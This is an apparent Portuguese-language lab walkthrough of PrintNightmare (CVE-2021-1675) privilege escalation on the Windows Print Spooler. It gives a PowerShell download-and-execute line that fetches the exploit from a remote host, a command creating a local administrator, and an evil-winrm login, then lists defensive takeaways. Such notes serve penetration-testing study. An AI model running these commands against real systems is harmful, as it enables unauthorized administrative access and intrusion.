> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Spooler de Impressão - PrintNightmare

`spoolsv.exe` é o serviço Spooler de Impressão do Windows. Quando um alvo é vulnerável, a exploração no estilo PrintNightmare pode permitir elevação de privilégio local ou remota, dependendo da versão do Windows, do nível de patch e da exposição do serviço.

## Detecção

Correlacione um serviço do Spooler de Impressão ativo ou exposto com a versão exata do Windows e os patches instalados.

<figure><img src="/files/5778bd09b241886c505cde0277ed257d85153160" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## Exploração em Laboratório

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/9231743bb332c7a9ec6b0b4664bd97d8b8afb82c" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

Carregue o script:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

Crie um usuário administrador local no laboratório:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/2efa1fe91a136e474b42c305c0dd33175f5aaf74" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/6652ee2ca3b9881d5ac9544693a889300743af04" alt="New administrative user validation"><figcaption></figcaption></figure>

## Conectar

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/51c693fc18fab3a344cd0aa8f671deacf0db9e07" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## Pontos-chave

* Confirme a vulnerabilidade por meio da validação da versão e dos patches.
* Desative o Spooler de Impressão onde ele não for necessário, especialmente em servidores sensíveis.
* Monitore a criação repentina de contas de administrador local e operações suspeitas com drivers de impressora.


---

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